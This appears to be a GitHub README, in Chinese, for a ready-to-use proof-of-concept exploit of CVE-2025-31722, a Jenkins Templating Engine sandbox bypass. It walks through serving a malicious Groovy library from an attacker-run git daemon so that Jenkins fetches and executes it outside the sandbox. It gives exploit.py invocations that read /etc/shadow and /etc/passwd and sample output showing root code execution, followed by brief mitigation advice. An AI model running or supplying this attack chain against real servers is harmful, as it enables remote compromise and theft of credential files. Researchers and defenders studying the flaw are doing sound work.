h3raklez/CVE-2025-31722

GitHub: h3raklez/CVE-2025-31722

针对 Jenkins Templating Engine 插件 ≤ 2.5.3 沙箱绕过漏洞的 PoC,自动化实现从低权限账户到 Jenkins 服务器 RCE 的完整攻击链。

Stars: 0 | Forks: 0

# CVE-2025-31722 — Jenkins Templating Engine RCE ## 描述 **Jenkins Templating Engine (JTE) 插件 <= 2.5.3** 中的沙箱绕过漏洞,允许低权限用户在 Jenkins 服务器上执行任意代码。 该漏洞的出现是因为 JTE 会从文件夹级别 *GovernanceTier* 配置中定义的外部 git 仓库加载库,并在 **Groovy 沙箱之外** 执行这些库中的步骤,而不管创建该 Job 的用户权限级别如何。 **CVSS:** 8.8 (高) **类型:** 沙箱绕过 → RCE **受影响组件:** `pipeline-templating-engine` 插件 ≤ 2.5.3 **修复版本:** 2.5.4+ ## 攻击流程 ``` Attacker (Kali) Jenkins Server ─────────────── ────────────── 1. Creates git repo with evil.groovy 2. Starts git daemon on :9418 3. Creates folder in Jenkins → Folder with GovernanceTier pointing to git://KALI:9418/… pointing to attacker's repo 4. Creates job with AdHoc template → Job calls evil() 5. Triggers build → JTE clones repo from Kali Executes evil() outside sandbox ← RCE as Jenkins user ``` ## 环境要求 ### Jenkins 服务器 (目标) - 安装了 **Templating Engine 2.5.3** 插件的 Jenkins - 插件: `cloudbees-folder`, `git`, `workflow-aggregator` - 已禁用 CSRF - 用户 `attacker` 具有以下权限: `Item/READ`, `Item/CREATE`, `Item/CONFIGURE`, `Item/BUILD` - Built-In 节点在线且至少有 1 个执行器 - 服务器到攻击者 IP 的 **9418** 端口有出站网络连接 ### 攻击机 - Python 3.8+ - 已安装 `git` - **9418** 端口可从 Jenkins 服务器访问 - Python 库: `requests` ``` pip install requests ``` ## 实验环境搭建 在 Debian/Ubuntu 服务器上安装的环境包含 Jenkins,并已配置用户、权限和所需插件。**它不会创建任何恶意内容** — 这部分完全由 PoC 处理。 ## 使用方法 ### 基础利用 ``` python3 exploit.py \ --url http://:8080 \ --user attacker \ --pass attacker123 \ --git-host ``` ### 自定义命令 ``` python3 exploit.py \ --url http://:8080 \ --user attacker \ --pass attacker123 \ --git-host \ --cmd "cat /etc/shadow" ``` ### 清理 ``` python3 exploit.py \ --url http://:8080 \ --user attacker \ --pass attacker123 \ --git-host \ --cleanup ``` ### 参数 | 参数 | 描述 | 必需 | |-----------|-------------|----------| | `--url` | Jenkins 基础 URL | 是 | | `--user` | 具有 Item/CREATE+CONFIGURE+BUILD 权限的用户 | 是 | | `--pass` | 用户密码 | 是 | | `--git-host` | Jenkins 可访问的 Kali IP | 是 | | `--cmd` | 在服务器上执行的命令 (默认: `id && hostname && cat /etc/passwd`) | 否 | | `--cleanup` | 删除由漏洞利用程序创建的文件夹、Job 和仓库 | 否 | ## PoC 工作原理 1. **`setup_repo()`** — 在 Kali 上创建 `~/jte-exploit/evil-lib/steps/evil.groovy`,其中包含要执行的命令 2. **`start_git_daemon()`** — 在 Kali 的 9418 端口启动 `git daemon` 3. **`create_folder()`** — 在 Jenkins 中创建一个文件夹,其 `GovernanceTier` 指向 `git://KALI:9418/jte-exploit` 4. **`create_job()`** — 创建一个带有 `AdHocTemplateFlowDefinition` 的 Job,声明 `evil-lib` 并调用 `evil()` 5. **`trigger_and_wait()`** — 触发构建并等待结果 6. **`print_output()`** — 显示包含 RCE 结果的控制台输出 git daemon 在整个构建周期中保持活动状态,并在构建完成后自动终止。 ## 预期输出 ``` ================================================================= CVE-2025-31722 — Jenkins Templating Engine RCE Target : http://10.211.55.10:8080 Git host: 10.211.55.7 Command : id && hostname && cat /etc/passwd ================================================================= [+] Authenticated as: attacker (id=attacker) [+] Repo created: /root/jte-exploit [+] Malicious step: evil-lib/steps/evil.groovy [+] Git daemon running at git://10.211.55.7:9418/jte-exploit [+] Folder created [+] Job created [+] Build queued ================================================================= CVE-2025-31722 — RCE OUTPUT ================================================================= [JTE] ... uid=0(root) gid=0(root) groups=0(root) debian root:x:0:0:root:/root:/bin/bash ... ================================================================= ``` ## 缓解措施 - 将 Templating Engine 插件更新到版本 **2.5.4 或更高版本** - 限制 `Item/CREATE` 和 `Item/CONFIGURE` 权限仅授予受信任的用户 - 在 Jenkins 中启用 CSRF 保护 - 审计具有指向外部仓库的 `GovernanceTier` 配置的文件夹 ## 参考资料 - [Jenkins 安全公告](https://www.jenkins.io/security/advisories/) - [JTE Plugin GitHub](https://github.com/jenkinsci/templating-engine-plugin)
标签:0day, CI/CD 安全, CISA项目, CVE-2025-31722, DevSecOps, Git, Groovy, Jenkins, Pipeline, RCE, Templating Engine, 上游代理, 人体姿态估计, 代码执行, 提权, 数据投毒防御, 文档安全, 沙箱逃逸, 编程工具, 网络安全, 网络安全研究, 远程代码执行, 逆向工具, 隐私保护, 高危漏洞